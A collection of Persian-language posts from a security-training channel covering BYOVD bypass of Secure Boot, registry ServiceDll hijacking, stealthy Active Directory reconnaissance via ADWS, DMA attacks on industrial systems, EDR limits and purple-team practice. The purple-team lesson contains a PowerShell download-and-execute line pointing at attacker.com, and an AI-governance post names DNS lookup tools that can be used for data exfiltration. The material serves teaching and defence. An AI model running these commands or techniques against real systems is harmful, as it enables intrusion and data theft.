تلاشی برای دور زدن Secure Boot و ELAM در ویندوز

گروه‌های APT مانند Lazarus (کره شمالی) و Scattered Spider به طور گسترده از تکنیک BYOVD برای غیرفعال کردن ابزارهای امنیتی پیشرفته و استقرار بدافزارهای خود استفاده می‌کنند.


۱- پیدا کردن یک درایور آسیب‌پذیر: مهاجم یک درایور قانونی و دارای امضای دیجیتال معتبر (مثلاً از مایکروسافت) را پیدا می‌کند که حاوی یک آسیب‌پذیری شناخته‌شده است (مثلاً یک درایور قدیمی از یک کارت گرافیک یا نرم‌افزار آنتی‌چیت بازی).
۲-نصب درایور قانونی: مهاجم که قبلاً دسترسی ادمین را در سیستم به دست آورده، این درایور قانونی اما آسیب‌پذیر را روی سیستم قربانی نصب می‌کند.
۳-تأیید توسط ELAM: از آنجایی که این درایور دارای امضای دیجیتال معتبر است، Secure Boot و درایور ELAM آن را به عنوان یک درایور قابل اعتماد شناسایی کرده و اجازه بارگذاری آن را می‌دهند.
۴-بهره‌برداری از آسیب‌پذیری: پس از اینکه درایور معتبر در حافظه (سطح کرنل) بارگذاری شد، مهاجم از آسیب‌پذیری موجود در آن استفاده می‌کند تا کد مخرب خود را در سطح کرنل اجرا کند.
۵-غیرفعال کردن امنیت از درون: از آنجایی که کد مهاجم اکنون در سطح کرنل در حال اجراست، می‌تواند به راحتی درایور ELAM یا سایر نرم‌افزارهای امنیتی (EDR، آنتی‌ویروس) را از درون غیرفعال کند.

تبصره : باید گفت ELAM همیشه درگیر نیست، بیشتر نقش بررسی اولیه بوت را دارد


#خوب_بخوانیم

حادثه روی رایانه و سرور ، اقدام یا بی‌عملی
معمای پاسخ به حوادث در سیستم‌های Live


در مدیریت حوادث امنیتی، همواره این بحث مطرح است که آیا باید به صورت زنده روی سیستم آلوده اقدام کرد یا با تهیه یک نسخه کامل از هارد دیسک، تحلیل را به صورت آفلاین (Postmortem) انجام داد.
بسیاری نگران‌اند که اقدامات زنده، وضعیت سیستم را تغییر داده و شواهد را مخدوش کند. اما نکته‌ای حیاتی که اغلب نادیده گرفته می‌شود این است که بی‌عملی نیز به همان اندازه سیستم را تغییر می‌دهد.
یک سیستم کامپیوتری، حتی در حالت بیکار، دائماً در حال فعالیت است. پردازش‌ها اجرا می‌شوند و اقدامات پس‌زمینه به طور خودکار رخ می‌دهند. برای مثال:
احتمالا ویندوز پس از ۲۴ ساعت به طور خودکار یک نقطه بازیابی (System Restore Point) ایجاد می‌کند.
پس از چند روز، ممکن است عملیات یکپارچه‌سازی دیسک (Defragmentation) به صورت محدود اجرا شود.
سیستم‌عامل می‌تواند به روزرسانی‌های جدید را دانلود و نصب کند.

هر یک از این فعالیت‌های عادی می‌تواند داده‌ها و شواهد دیجیتالی ارزشمندی را که برای تحلیل حادثه حیاتی هستند، برای همیشه بازنویسی (Overwrite) و از بین ببرد.
علاوه بر این، اگر یک مهاجم در حال سرقت و خروج داده‌ها از شبکه شما باشد، هر لحظه تأخیر و بی‌عملی به او فرصت می‌دهد تا اطلاعات بیشتری را به سرقت ببرد.

بنابراین، سوال اصلی برای یک تیم پاسخ به حادثه این نیست که “آیا اقدامی انجام دهیم یا نه؟” بلکه این است:
۱. آیا هیچ کاری نکنیم و ریسک از دست رفتن شواهد و سرقت بیشتر داده‌ها را بپذیریم؟
۲. یا با توجه به شرایط، بهترین اقدامات ممکن را برای محافظت از سازمان خود انجام دهیم؟

در نهایت، بی‌عملی یک استراتژی منفعلانه نیست، بلکه تصمیمی فعال با عواقب بالقوه ویرانگر است.


بخشی از درس سنز 608

درگیری امروز من در SOC

کلید رجیستری
HKLM\SYSTEM\CurrentControlSet\Services\SgrmBroker\Parameters\ServiceDll


این کلید مسیر DLL سرویس امنیتی SgrmBroker (System Guard Runtime Monitor Broker) را تعیین می‌کند. این سرویس بخشی حیاتی از Windows Defender System Guard است و در Context SYSTEM اجرا می‌شود تا تمامیت کرنل و زنجیره بوت را بررسی کند. مقدار پیش‌فرض ServiceDll باید به %SystemRoot%\System32\sgrm.dll اشاره کند.

دستکاری این مسیر به مهاجم اجازه می‌دهد DLL مخرب خود را با دسترسی SYSTEM لود کرده و Privilege Escalation، Persistence و حتی EDR Bypass انجام دهد. به دلیل مشروعیت سرویس، فعالیت مخرب می‌تواند پنهان بماند.

روش رایج حمله شامل تغییر مستقیم مقدار رجیستری با پاورشل (Set-ItemProperty) یا جایگزینی فایل اصلی DLL است. این نقطه حساس به‌سختی مانیتور می‌شود و هدفی جذاب است، بنابراین بررسی و محافظت آن برای تیم‌های SOC و Blue Team حیاتی است.

توجه کنید که اگر EDR خودتون رو خوب تنظیم کنید در حفاظت از این مقوله نقش مهمی بازی میکند.


#یاد_بدهیم
با آموزش رقیب نمی‌تراشیم بلکه بیشتر یادمیگیر یم

حکمرانی امنیت در هر حالت

در حوزه حکمرانی امنیت، این آسیب‌پذیری در لینک زیر نشان می‌دهد که باید اصل کمترین اختیار در تمام ابزارهای هوش مصنوعی توسعه‌دهنده پیاده‌سازی شود. لیست مجاز پیش‌فرض (Allowlist) باید محدود و به‌طور دوره‌ای بازبینی شود. سیاست رسمی برای مقابله با Prompt Injection ضروری است، زیرا این حمله می‌تواند از کد، Pull Request یا جستجوهای وب منشاء بگیرد. ایجاد یک Playbook پاسخ‌گویی به رخدادهای AI، مشابه SOC، و کنترل امنیت زنجیره تأمین نرم‌افزار نیز حیاتی است.

در طراحی نرم‌افزار امن، حذف فرمان‌های پرخطر مانند ping, nslookup, dig, host از اجرا بدون تأیید انسانی ضروری است. اجرای AI مشابه این سناریو باید در sandbox باشد و دسترسی محدود به فایل و شبکه داشته باشد. فیلترکردن دامنه‌های خروجی و تعریف لیست سفید برای درخواست‌ها، شناسایی رفتار غیرعادی (مثل جاسازی داده حساس در نام دامنه)، و تشخیص تکنیک‌های Obfuscation برای دورزدن فیلترها باید لحاظ شود.

ترکیب این نکات می‌تواند تبدیل به یک چک‌لیست مشترک SOC و DevSecOps شود تا ورود داده ناامن به مدل‌ها کنترل، رصد شبکه تقویت، و فرآیند تأیید انسانی قبل از اجرای هر فرمان بالقوه خطرناک تضمین شود. این رویکرد، ریسک AI‑assisted Data Exfiltration را به‌طور چشمگیر کاهش می‌دهد.



#آکادمی_روزبه
مرکز تخصصی CISSP


https://embracethered.com/blog/posts/2025/claude-code-exfiltration-via-dns-requests/

روش‌های سنتی جمع‌آوری اطلاعات از Active Directory، مانند استفاده از پروتکل LDAP, بسیار پُر سر و صدا هستند و به راحتی توسط ابزارهای امنیتی مدرن مانند EDR (Endpoint Detection and Response) و SIEM (Security Information and Event Management) شناسایی می‌شوند.

راه حل پیشنهادی ، استفاده از یک سرویس داخلی و کمتر شناخته‌شده ویندوز به نام Active Directory Web Services (ADWS) است. از آنجایی که ADWS از طریق پروتکل‌های وب استاندارد (HTTP/HTTPS) کار می‌کند، ترافیک آن شبیه به ترافیک عادی وب به نظر می‌رسد و شناسایی آن برای تیم‌های امنیتی بسیار دشوارتر است. ابزاری به نام Soapy را برای تسهیل میتوانید در وب ببینید


#آکادمی_روزبه
مرکز تخصصی CISSP

مقوله Risk Appetite یا «اشتهای ریسک» میزان ریسکی است که یک سازمان حاضر به پذیرش آن پیش از اقدام به کنترل یا کاهش است. این مفهوم نشان می‌دهد که کجا می‌توان منابع را صرف کنترل کرد و کجا پذیرش ریسک به‌صرفه‌تر است.
در پیاده‌سازی ISO/IEC 27001، تعیین Risk Appetite نقش کلیدی در فاز Risk Assessment دارد؛ چون چارچوب تصمیم‌گیری برای انتخاب کنترل‌ها را مشخص می‌کند. اگر اشتهای ریسک پایین باشد، سازمان کنترل‌های بیشتری اعمال می‌کند و انطباق سخت‌گیرانه‌تری خواهد داشت. اگر بالا باشد، برخی ریسک‌ها پذیرفته می‌شوند و مستندسازی آن به عنوان بخشی از Risk Treatment Plan الزامی است.
این شفافیت از دوباره‌کاری و هدررفت منابع جلوگیری می‌کند.



#آکادمی_روزبه
مرکز تخصصی CISSP

بررسی یکی از آرتیفکت های DFIR

میتوانید با من ۳۰ ساعت DFIR رو همگام باشید در کلاس سنز ۶۰۸

واتس اپ و بله 09902857290

چرا چک‌لیست "ذهنیت امنیتی" در مصاحبه استخدامی در حوزه امنیت سایبری ضروری است؟ Security mindset

در حوزه امنیت سایبری، صرف داشتن دانش فنی برای موفقیت کافی نیست؛ فرد باید ذهنیتی فعال، دقیق و مبتنی بر پیش‌بینی مسیرهای حمله داشته باشد. بسیاری از رخدادهای امنیتی نه به دلیل ضعف سخت‌افزاری، بلکه به خاطر سهل‌انگاری یا نادیده‌گرفتن نشانه‌های کوچک رخ می‌دهند.

چک‌لیست ارزیابی ذهنیت امنیتی در مصاحبه، این اطمینان را می‌دهد که داوطلب علاوه بر مهارت، توانایی شناسایی سناریوهای غیرمعمول و بررسی جزئیات حیاتی را دارد. با استفاده از چنین ابزار استانداردی، می‌توان شاخص‌هایی مانند دقت در تحلیل لاگ‌ها، قدرت تصور حمله، و واکنش به پرسش‌های سناریومحور را سنجید.
نتیجه این ارزیابی، استخدام افرادی است که نه‌تنها ابزار را می‌شناسند، بلکه تهدیدات را پیش از وقوع شناسایی و کنترل می‌کنند.


چند مثال از سوالات مصاحبه:

۱، توجه به جزئیات (Attention to Detail)

تشخیص ناهماهنگی ظریف در آدرس IP یا آدرس URL.
مشاهده تفاوت جزئی در زمان‌بندی لاگ‌ها و توضیح احتمال منبع آن.
کشف تغییر کوچک در رکوردهای DNS یا تنظیمات فایروال.

۲. تفکر بدخواهانه محور (Adversarial Thinking)

تصور مسیر حرکت یک مهاجم پس از نفوذ اولیه.
تشخیص نشانه‌های اولیه Command & Control در ترافیک.
پیش‌بینی مراحل بعدی حمله بر اساس رفتار فعلی سیستم.

۳. تحلیل نشانه‌های غیرمستقیم (Indirect Evidence)

شناسایی ارتباط مشکوک بدون لاگ واضح از ابزار اصلی.
بررسی الگوهای غیرعادی مصرف CPU و RAM به‌عنوان شاخص نفوذ.

۴. مهارت پرسش‌گری و صحت‌سنجی (Critical Questioning)

پرسیدن «چه اگر»های امنیتی پیش از ارائه پاسخ نهایی.
طراحی چند فرضیه همزمان برای یک رویداد مشکوک.

۵. بدبینی سازنده (Healthy Paranoia)

فرض تقلب پیش‌فرض: وقتی کاربر یا سرویس رفتار «خیلی بی‌نقص» دارد، احتمال سناریوی ساختگی یا تست مهاجم داخلی را در نظر بگیرد.
اعتماد صفر (Zero Trust): حتی به منابع داخلی فقط در صورت احراز دقیق اعتماد کند.
تفسیر دوباره علائم ظاهراً بی‌ضرر: شناسایی اینکه یک فایل «readme.txt» می‌تواند بخشی از مکانیزم Command & Control باشد.
شک به الگوهای بیش‌ازحد نرمال: زمانی که همه سیستم‌ها برای مدت طولانی بدون گزارش خطا کار می‌کنند، احتمال پاک‌سازی لاگ‌ها را بررسی کند.



#آکادمی_روزبه
مرکز تخصصی CISSP

دوره مبانی امنیت AI


https://learn.microsoft.com/api/achievements/share/en-us/MahmoudSaad-9459/JUPSHM8T?sharingId=4C0CE74D1D73DAB8

گزارش VB2021-Slowik با عنوان The Baffling Berserk Bear به بررسی بیش از یک دهه فعالیت گروه Berserk Bear (شناخته‌شده با نام‌هایی مانند Dragonfly و Energetic Bear) می‌پردازد. این گروه از حدود سال ۲۰۱۰ تاکنون به زیرساخت‌های حیاتی در اروپا و آمریکای شمالی نفوذ کرده است. برخلاف گروه‌هایی مانند Sandworm، تمرکز Berserk Bear بیشتر بر جمع‌آوری اطلاعات، دسترسی بلندمدت و آماده‌سازی برای بحران‌های آینده بوده و کمتر شواهدی از خرابکاری مستقیم وجود دارد.
در موج اول (۲۰۱۰–۲۰۱۴)، آن‌ها با فیشینگ، حملات زنجیره تأمین و exploit kits، بدافزار Havex را منتشر کردند که قابلیت نقشه‌برداری شبکه‌های صنعتی (ICS) و اسکن پروتکل‌های صنعتی مانند Modbus را داشت. در برخی موارد، این فعالیت‌ها باعث اختلال ناخواسته در سیستم‌های صنعتی شد. در دوره دوم (۲۰۱۵–۲۰۱۹)، تمرکز بر سرقت اعتبارنامه‌ها و استفاده از حملات watering hole بود که بیشتر بخش انرژی اروپا، ترکیه، آمریکا و بریتانیا را هدف گرفت.
از ۲۰۱۹ به بعد، حملات این گروه به حوزه‌های جدید مانند رسانه‌ها و زیرساخت‌های مرتبط با انتخابات در اوکراین و آمریکا گسترش یافت، با هدف جاسوسی و نظارت، نه تخریب. دولت‌های غربی این گروه را به روسیه و به‌ویژه FSB مرتبط می‌دانند. در مجموع، Berserk Bear نمونه‌ای از تهدیدات پایدار دولتی است که بدون سروصدا، زیرساخت‌های حیاتی را برای نفوذ بلندمدت و سناریوهای احتمالی آینده آماده می‌کند.

https://vblocalhost.com/uploads/VB2021-Slowik.pdf

آنجا که نمیتوان به EDR اعتماد کرد
بیایید با محدودیت های EDR آشنا شویم


همه EDRها (چه CrowdStrike چه Defender ATP یا SentinelOne چه محصولات ایرانی) ذاتاً نیاز دارند OS حداقل تا کرنل بیاد بالا تا بتونند Agent/Driver خودشون رو لود کنند.
مکانیزم‌های مقابله در Pre-OS خودشون EDR نیستند، بلکه:

✳️ مساله Secure Boot + Measured Boot + ELAM
✳️ ترکیب با Remote Attestation via TPM (ارسال PCR Values به Server امن)
✳️ و Off-Host Scanning (مثل استفاده از یک محیط Boot امن برای بررسی EFI و دیسک)

اگر این مکانیزم‌ها فعال/به‌روز نباشن، EDR به‌تنهایی نمی‌تونه جلوی Bootkit رو بگیره.

حالا میتونید درک کنید وقتی مدیر امنیت یک سازمان هستی که برنامه به روزرسانی نداره چقدر در مردابی.
یا اگر در سازمان خاص مدیر هستی دیگه چقدر وضع خرابه ...

#جدید

کتابچه شکار تهدید

کمک به شکارچیان تهدید و حتی دانشمندان داده برای اجرای سریع جستجوها و تحلیل‌ها با کوئری‌های از پیش آماده در محیط‌هایی مثل Splunk.

ویژگی‌ها و نکات:

بخشی از مجموعه #SURGe (تیم تحقیقاتی Splunk) است.
بر پایه‌ی چارچوب PEAK Threat Hunting ساخته شده.
حاوی «دستورالعمل‌ها» یا SPL Recipes آماده برای وظایف متداول تحلیل و Threat Hunting است.

#ThreatHunting

#آکادمی_روزبه

#امنیت_به_زبان_ساده
جدول MITRE ATT&CK یک پایگاه دانش جهانی است که تاکتیک‌ها و تکنیک‌های حملات سایبری که تاکنون به سطح زمین آمده اند ( از دارک وب ) را دسته‌بندی می‌کند.

ایده‌اش ساده است: مثل یک جدول تناوبی عناصر، ولی برای هکرها!

ستون‌ها: تاکتیک‌ها (Tactics) یعنی هدف مرحله‌ای مهاجم — مثل دسترسی اولیه، اجرای کد، جمع‌آوری اطلاعات، یا خروج داده.
ردیف‌ها: تکنیک‌ها (Techniques) که روش عملی انجام هر تاکتیک را نشان می‌دهند؛ مثلا برای اجرای کد می‌تواند از PowerShell، نفوذ در کرنل یا بدافزار استفاده شود.
هر تکنیک گاهی زیرتکنیک دارد با جزئیات دقیق‌تر.
در کنار آن‌ها، اطلاعاتی مثل نمونه‌های واقعی، ابزارهای معروف، و روش‌های شناسایی/دفاع هم ارائه می‌شود.

کاربردش برای SOC و تیم امنیت این است که بتوانند:

نقشه تهدید بسازند.
حملات شبیه‌سازی کنند.
شکاف‌های دفاعی را پیدا و پر کنند.

عملاً تبدیل به زبان مشترک میان تحلیلگر، تیم قرمز و مدیر امنیت می‌شود.



🟣و اما نکته ای برای افراد کهنه کار :

حرکت هکر لازم نیست کاملا برای اساس جدول مایتره باشد .
فرض کنید در پالایشگاه تیم SOC یک سناریوی حمله بر اساس MITRE ATT&CK ترسیم کرده:

ستون‌ها را به شکل مرتب می‌چینند:

Initial Access >> ایمیل Phishing به حساب کاربری پیمانکار.
Execution >> اجرای ماکرو مخرب روی لپ‌تاپ پیمانکار در شبکه IT.
Lateral Movement >> دسترسی به سرور OT Gateway.
Impact >> تغییر تنظیمات کنترل فشار.

اما مهاجم واقعی ممکن است پس از مرحله Lateral Movement دوباره برگردد به Discovery، برای شناسایی سیستم‌های کنترلی حساس، یا حتی به Credential Access برای سرقت دسترسی ادمین PLC.

اگر SOC فقط خطی نگاه کند (“گام بعدی حتماً Impact است”)، این برگشت مهاجم را نمی‌بیند.

نتیجه چیست؟
مهاجم می‌تواند چند روز در شبکه بماند، مسیرهای جانبی برود و چندین نقطه حساس را بدون آشکار شدن کنترل کند.

برای پالایشگاه، یعنی باید برای هر تکنیک پوشش نظارتی مستقل گذاشت، حتی اگر فکر می‌کنیم “از آن مرحله گذشته‌ایم.”


🔆امیدوارم برایتان جالب بوده باشد


🔰سه شنبه سطح ۱ رو شروع میکنم و پنج شنبه CISSP
واتس اپ برای ملحق شدن به من و سایر دانشجویان 09902857290 گپی خودمانی به ساده‌ترین روش و زبان برای بیان مسائل پیچیده دنیای امنیت

آنجا که نگهبان صنعتی کور می‌شود: حملات DMA در محیط‌های کنترل صنعتی


در قسمت قبل دیدیم که حتی قوی‌ترین EDRها در برابر حملات سطح پایین مثل Bootkit یا Firmware در ابتدای راه‌اندازی سیستم، بسیار آسیب‌پذیرند. این‌بار، به دنیای کنترل صنعتی (ICS/SCADA) می‌رویم و بررسی می‌کنیم که چگونه حملات سخت‌افزاری Direct Memory Access (DMA) می‌توانند در بطن یک کارخانه یا پالایشگاه، بی‌سروصدا امنیت را دور بزنند.

مقولهDMA چیست و چرا خطرناک است؟
این DMA قابلیتی در معماری سیستم‌های مدرن است که به قطعات جانبی (مثل کارت شبکه، کنترلر ذخیره‌سازی یا حتی پورت Thunderbolt) اجازه می‌دهد مستقیماً به حافظه سیستم (RAM) دسترسی داشته باشند، بدون عبور از CPU و سیستم‌عامل. این یعنی:
مهاجم می‌تواند محتویات حساس RAM را بخواند (رمزها، کلیدهای رمزنگاری، داده‌های فرآیندی).
یا کد مخرب را مستقیم به حافظه یک فرآیند معتبر تزریق کند، بدون اینکه EDR حتی متوجه شود.

چرا محیط‌های صنعتی آسیب‌پذیرترند؟

برخلاف دیتاسنترها که کنترل فیزیکی بسیار سخت‌گیرانه دارند، محیط‌های ICS ویژگی‌هایی دارند که DMA را از یک تهدید نظری به یک تهدید عملیاتی تبدیل می‌کند:
1. دسترسی فیزیکی آسان‌تر
تجهیزات OT (HMI‌ها، ایستگاه‌های مهندسی، سرورهای Historian) معمولاً نزدیک خط تولید یا در اتاق‌های کنترل قرار دارند.
پیمانکاران، اپراتورها و تیم تعمیرات، به این سیستم‌ها دسترسی فیزیکی موقت یا دائم دارند.
2. وجود پورت‌های مناسب حمله
بسیاری از HMIها یا ایستگاه‌های مهندسی، لپ‌تاپ صنعتی یا ورک‌استیشن هستند که پورت USB‑C با حالت Alternate Mode، USB 3.x، یا حتی اسلات PCIe خارجی دارند.
برخی PLCها یا کنترلرهای مدرن نیز کارت‌های توسعه Mini‑PCIe یا PCIe دارند که در دسترس فیزیکی هستند.
3. دفاع نرم‌افزاری ضعیف‌تر
سیستم‌عامل‌های قدیمی (Windows 7، XP Embedded، Linux‌های قدیمی) که Kernel DMA Protection یا IOMMU فعال ندارند، هنوز فراگیرند.
بروزرسانی‌های امنیتی سال‌ها عقب افتاده‌اند، چون تغییر نرم‌افزار در ICS ریسک توقف تولید دارد.
4. سناریوی پیمانکار آلوده
مهاجم می‌تواند با لپ‌تاپ خود یا یک دانگل “خدماتی” به سیستم متصل شود (برای آپلود تنظیمات PLC یا مانیتورینگ)، اما در پس‌زمینه حمله DMA انجام دهد.
ریسک‌ها و پیامدها
وقتی کد مخرب از طریق DMA تزریق شد:
دستکاری فرآیندهای کنترلی بدون شناسایی توسط EDR یا آنتی‌ویروس
تغییر مقادیر Setpoint یا مقادیر حسگرها به شکل مخفیانه
جمع‌آوری داده‌های حساس فرآیندی یا مالکیتی بدون ایجاد هرگونه Log

راهکارهای دفاعی پیشنهادی برای ICS

غیرفعال‌سازی پورت‌های پرسرعت بلااستفاده از طریق BIOS/UEFI.
استفاده از کیس‌ها و رک‌های قفل‌دار با برچسب‌های Tamper-Evident.
اجرای سیاست فیزیکی سخت‌گیرانه برای اتصال هر گونه دستگاه پیمانکار.
به‌روزرسانی تدریجی سیستم‌عامل‌ها به نسخه‌هایی که IOMMU و Kernel DMA Protection را پشتیبانی کنند.
آموزش به پرسنل درباره ریسک تجهیزات جانبی ناشناس (USB Drives, Dongles, Adapters).

این هفته دوره های سطح ۱ و CISSP رو شروع میکنم

به زبان خودمانی

امروز یک مصاحبه داشتم که انتخاب نیرو در لایه شبکه بود . خواستم از مطالبم استفاده کند لذا اینجا و کانال تلگرام رو معرفی کردم.
بعدش در حین معرفی دیدم چقدر مطالبم سخت شده و لازمه کلی مقدمات بدونن برای درک اونها .

انشالله بتونیم براش شرایطی فراهم کنیم تا از فاند ویژه شرکت هامون استفاده کنه و در کلاس سطح 1 امنیت حضور داشته باشه تا بتونیم هم گفتمان بشیم .

ولی خودمم تصمیم گرفتم همون هشتک #امنیت_به_زبان_ساده رو ادامه بدم تا دوستان بتونن همگام باشند و خیلی فاصله ایجاد نشه

=======
پس EDRچست؟
این ابزار یا Endpoint Detection and Response رو اگر بخواهیم ساده و بی‌دردسر توضیح بدهیم، شبیه یک نگهبان همیشه‌هوشیار برای سیستم‌های شماست.
به زبان خیلی ساده:
گوش می‌دهد>> EDR همه‌ی فعالیت‌های سیستم (فایل‌ها، پروسه‌ها، شبکه، حافظه) را مثل یک دوربین امنیتی ضبط می‌کند.
تحلیل می‌کند >> داده‌های جمع‌شده را با الگوهای بدافزار، رفتار مشکوک یا قوانین امنیتی مقایسه می‌کند. اگر چیزی غیرعادی باشد، می‌فهمد.
هشدار می‌دهد >>وقتی تهدیدی پیدا شد، به تیم امنیت پیام می‌دهد یا گزارش تهیه می‌کند.
واکنش نشان می‌دهد >> می‌تواند پروسه‌ی آلوده را بکشد، فایل را قرنطینه کند یا ارتباط را قطع کند تا حمله جلو نرود.
تحقیقات بعدی >> همه شواهد را نگه می‌دارد تا تیم امنیت بفهمد چه اتفاقی افتاده و از تکرار حمله جلوگیری کند.
پس عملاً EDR یک ترکیب از دوربین مدار بسته + دزدگیر + افسر واکنش سریع برای هر ایستگاه کاری یا سرور است.


دوره سطح 1 از سه شنبه همین هفته
واتس اپ و بله 09902857290

درس جمعه برای کلاس سازمانی سنز ۵۹۹ تیم بنفش

تحلیل جامع چرخه بازخورد آنی (Immediate Feedback Loop) در تیم بنفش

۱. تعریف مفهومی: فراتر از یک گزارش ساده
در مدل سنتی (قرمز علیه آبی)، فرآیند به این شکل بود:
تیم قرمز (Red Team): هفته‌ها یا ماه‌ها حملات شبیه‌سازی شده را اجرا می‌کند.
گزارش‌دهی: در پایان تمرین، یک گزارش مفصل (مثلاً ۵۰ صفحه‌ای) تهیه کرده و به تیم آبی و مدیریت ارائه می‌دهد.
تیم آبی (Blue Team): گزارش را مطالعه کرده و سعی می‌کند هفته‌ها یا ماه‌ها بعد، دفاع‌ها، قوانین و ابزارهای خود را بر اساس آن یافته‌ها بهبود دهد.

مشکل اصلی این مدل چیست؟
تأخیر زمانی (Time Lag): بین اجرای حمله و اعمال دفاع، فاصله زمانی زیادی وجود دارد. در این فاصله، سازمان همچنان در برابر همان حملات آسیب‌پذیر است.
فقدان زمینه (Lack of Context): تیم آبی فقط نتیجه را می‌بیند (مثلاً “دسترسی به سرور X برقرار شد”) اما جزئیات فرآیند حمله (چه ابزاری؟ چه تکنیکی؟ چرا ابزار SIEM آن را ندید؟) را به طور کامل درک نمی‌کند.
فرصت‌های از دست رفته (Missed Opportunities): تیم قرمز ممکن است ۱۰ تکنیک مختلف را امتحان کند و فقط یکی از آن‌ها موفق شود. تیم آبی هرگز از ۹ تلاش ناموفق و اینکه چرا ناموفق بودند، خبردار نمی‌شود؛ در حالی که این “شکست‌ها” نشان‌دهنده نقاط قوت دفاعی هستند.
چرخه بازخورد آنی این مدل را کاملاً دگرگون می‌کند. در این رویکرد:
تعریف: چرخه بازخورد آنی، یک فرآیند همکاری هم‌زمان (Real-time) یا نزدیک به هم‌زمان (Near Real-time) بین تیم‌های حمله و دفاع است که در آن، هر اقدام تهاجمی بلافاصله تحلیل شده، قابلیت‌های تشخیصی و دفاعی سازمان در برابر آن سنجیده می‌شود و نتایج به سرعت برای بهبود دفاعی به کار گرفته می‌شود.
این دیگر یک گزارش پس از عملیات نیست؛ بلکه یک گفتگوی زنده و فنی در حین عملیات است.

۲. آناتومی و اجزای یک چرخه بازخورد آنی
یک چرخه کامل معمولاً شامل این مراحل است که به سرعت تکرار می‌شوند:
توافق بر سناریو (Hypothesis):
تیم بنفش (حمله و دفاع با هم): “فرض کنیم یک مهاجم با استفاده از تکنیک T1059.001 (PowerShell) قصد اجرای یک اسکریپت مخرب روی سیستم مدیر مالی را دارد. آیا ما می‌توانیم این فعالیت را شناسایی و مسدود کنیم؟”
اجرای کنترل‌شده حمله (Red Team Action):
تیم قرمز: تکنیک مشخص شده را اجرا می‌کند. مثلاً یک دستور ساده PowerShell برای دانلود یک فایل را اجرا می‌کند.
شفافیت کامل: تیم قرمز دقیقاً اعلام می‌کند: “من الان دستور IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1') را روی هاست FINANCE-PC-01 اجرا کردم.”
مشاهده و تحلیل آنی (Blue Team Observation):
تیم آبی: بلافاصله به ابزارهای خود (SIEM, EDR, IDS) نگاه می‌کند.
سه سوال کلیدی پرسیده می‌شود:
آیا دیدیم؟ (Visibility): آیا لاگ مربوط به اجرای PowerShell اصلاً ثبت شد؟
آیا هشدار داد؟ (Alerting): آیا این فعالیت یک هشدار امنیتی (Alert) ایجاد کرد؟
آیا مسدود کرد؟ (Prevention): آیا ابزار EDR یا آنتی‌ویروس جلوی اجرای دستور را گرفت؟
بازخورد و نتیجه‌گیری فوری (Immediate Feedback):
اینجا جادوی کار اتفاق می‌افتد. تیم آبی بلافاصله پاسخ می‌دهد:
سناریوی ایده‌آل: “بله، EDR ما اجرای دستور را بلاک کرد و یک هشدار با اولویت بالا ایجاد شد. دفاع موفق بود.”
سناریوی رایج: “ما لاگ اجرای PowerShell را در Splunk می‌بینیم، اما هیچ هشداری تولید نشد. قانون تشخیص ما ضعیف است.”
سناریوی بد: “هیچ چیز ندیدیم! انگار لاگ‌های اجرای اسکریپت PowerShell اصلاً جمع‌آوری نمی‌شوند.”
بهبود و تنظیم آنی (Live Tuning & Refinement):
بر اساس بازخورد بالا، تیم آبی (با کمک تیم قرمز) فوراً اقدام می‌کند:
در سناریوی رایج: “بیایید با هم یک قانون همبستگی (Correlation Rule) جدید در SIEM بنویسیم که اگر powershell.exe با پارامترهای مشکوکی مثل DownloadString یا -enc اجرا شد، هشدار ایجاد کند.”
در سناریوی بد: “باید پیکربندی Group Policy یا EDR Agent را تغییر دهیم تا لاگ‌برداری از اسکریپت‌های PowerShell فعال شود.”
تکرار و اعتبارسنجی (Re-test and Validate):
تیم قرمز: “بسیار خب، شما قانون جدید را نوشتید / لاگ را فعال کردید. من دوباره همان حمله را اجرا می‌کنم.”
تیم‌ها چرخه را از مرحله ۳ دوباره تکرار می‌کنند تا زمانی که به “سناریوی ایده‌آل” (تشخیص و هشدار موفق) برسند.
این چرخه برای یک تکنیک واحد ممکن است در عرض چند دقیقه تا یک ساعت کامل شود، نه چند ماه!

پایان قسمت اول

بخشی از درس تیم بنفش

ثبت نام دوره عمومی ( غیر سازمانی) سنز ۵۹۹ از پایان مهر
Www.haumoun.com
Www.Roozbeh.academy

قسمت دوم

۳. مزایای کلیدی چرخه بازخورد آنی
حداکثر کردن ارزش هر تست (Maximize ROI): به جای صرف هزینه برای یک گزارش حجیم که شاید هرگز کامل اجرا نشود، هر تست مستقیماً به یک بهبود دفاعی قابل اندازه‌گیری منجر می‌شود.
یادگیری متقابل (Collaborative Learning):
تیم آبی یاد می‌گیرد که مهاجمان چگونه فکر و عمل می‌کنند. آن‌ها به جای دیدن یک هشدار خشک، “روح” حمله را درک می‌کنند.
تیم قرمز یاد می‌گیرد که دفاع‌ها چگونه کار می‌کنند. این به آن‌ها کمک می‌کند تا در آینده تکنیک‌های پیشرفته‌تر و پنهان‌کارانه‌تری برای دور زدن دفاع‌ها طراحی کنند.
کاهش نقاط کور امنیتی (Reduce Blind Spots): با تست سیستماتیک تکنیک‌ها (مثلاً بر اساس چارچوب MITRE ATT&CK)، سازمان به درک دقیقی از پوشش امنیتی خود می‌رسد. “ما در برابر ۷۰٪ تکنیک‌های گروه APT29 قابلیت تشخیص داریم.”
افزایش روحیه و همکاری (Improved Morale): این رویکرد، تقابل خصمانه بین تیم‌ها را به یک همکاری سازنده برای یک هدف مشترک (امنیت سازمان) تبدیل می‌کند. این امر باعث افزایش انگیزه و کاهش فرسودگی شغلی می‌شود.
اعتبارسنجی ابزارهای امنیتی (Security Control Validation): سازمان‌ها میلیون‌ها تومن صرف خرید ابزارهای امنیتی می‌کنند. تیم بنفش و چرخه بازخورد آنی به طور عملی نشان می‌دهد که آیا این ابزارها واقعاً آنطور که در بروشور تبلیغاتی‌شان ادعا شده، کار می‌کنند یا خیر



بخشی از درس تیم بنفش

ثبت نام دوره عمومی ( غیر سازمانی) سنز ۵۹۹ از پایان مهر
Www.haumoun.com
Www.Roozbeh.academy

درس امروز
چرا وایرگارد سریعتر است ؟


سرعت بالاتر WireGuard نسبت به بعضی VPNهای سنتی (مثل OpenVPN یا IPsec) چند دلیل فنی داره که ترکیبش باعث میشه هم Throughput و هم Latency بهبود پیدا کنه:

1. طراحی مینیمال و کد کوچک

کل کد WireGuardحدود ۴۰۰۰ خط هست (در مقابل صدها هزار خط OpenVPN یا IPsec).
این سادگی به معنی Overhead کمتر در پردازش بسته‌ها، Cache locality بهتر و Debug/Optimization ساده‌تره.
کمتر بودن لایه‌های واسط باعث کاهش Context Switch بین فضای کاربر و کرنل میشه.

